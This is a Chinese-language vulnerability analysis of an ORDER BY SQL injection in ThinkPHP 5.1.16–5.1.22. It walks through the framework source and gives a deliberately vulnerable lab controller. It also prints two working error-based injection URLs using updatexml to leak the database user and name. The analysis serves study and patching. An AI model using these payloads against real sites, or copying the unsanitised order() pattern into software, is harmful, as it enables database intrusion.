简介
由于Builder类中的parseOrder
方法没有对$key
值做严格过滤导致在Mysql类中的parseKey
方法处实现恶意拼接,最终导致 SQL注入漏洞 的产生(orderby方法注入)
漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。
环境搭建
composer create-project --prefer-dist topthink/think=5.1.22 thinkphp_5.1.22
依旧是下载好后还得去github上下载thinphp目录,然后更换,composer下载好的thinkphp目录,地址:https://github.com/top-think/framework/archive/refs/tags/v5.1.22.zip
将index控制器配置成如下:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'DMIND'])->order($orderby)->find();
var_dump($result);
}
}
分析1
先正常输入一个id字符,看看流程
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby=id
通过一个get()方法得到orderby的参数值是id
where()方法会得到where表达式后的一些值,从而赋值给$this->options。
这里$filed=id
以字符串传进来,在order()中主要执行以下代码:
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
if (!isset($this->options['order'])) {
$this->options['order'] = [];
}
$this->options['order'][] = $field;
return $this;
如果是数组传进来:
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
}
parseOptions()处理后往$this->options中添加了order数组:
然后到find(),会生成查询SQL语句,然后执行、返回。
主要关注如何生成SQL语句的,跟进Builder类下的select方法,也是通过一系列方法对既定语句进行值替换,
其中我们关注parseOrder()
方法,主要是通过list函数给$key
和$val
变量赋值
这里parseKey()是Mysql类的 在这个方法中,跟进后有这么一段代码
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
那么只要$key
不为*
就可以进入反引号的拼接,因为这里的$strict
的值一开始就被赋值为true
了后面的正则匹配也就不影响我们进入反引号的拼接。这里的拼接是会影响到SQL语句的,所以漏洞也发生在这儿。那么这里我们$key
是以值id
传入,自然会在两侧拼接反引号
然后就会返回到parseOrder()中执行以下,
return ' ORDER BY ' . implode(',', $array);
会返回以下内容拼接到SQL语句中:
ORDER BY `id`
那么最后会有这样的SQL语句:
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id` LIMIT 1
这语句很正常,因为我们是以正常的思路来走的,但别忘了ORDER BY id 这里是有问题的,也就是反引号拼接处。我们以下面这payload尝试一下:
分析2
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
直接来到MySQL类下的parseKey(),其中的$key
和$val
也就是我们传参时数组的key与value值
那么它在经过这个有问题的正则后就被有问题的拼接到SQL语句中了
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
return的值是:
`id`|updatexml(1,concat(0x7,user(),0x7e),1)#`
拼接到SQL语句中是:
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1
很明显可以触发报错
看到还有一种将构造语句放在键值中的payload:
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
原因在于执行Builder类下parseOrder方法时:
foreach ($order as $key => $val) {
..........
else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
}
如果我们的语句放在键名中,就不会执行list函数,$key
自然就是我们构造的值。
如果我们的语句放在键值中,$key
就会等于0而执行list函数,键值中的语句同样被赋给$key
总而言之,最终只要$key是我们构造的语句就会在MySQL类下的parseKey()方法中拼接成功,触发SQL注入了
payload
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23
七月火师傅的流程攻击流程图:
修复
改进了order方法,在进入MySQL类下的parseKey()方法前,先检查$key中是否包含)
和#
这俩字符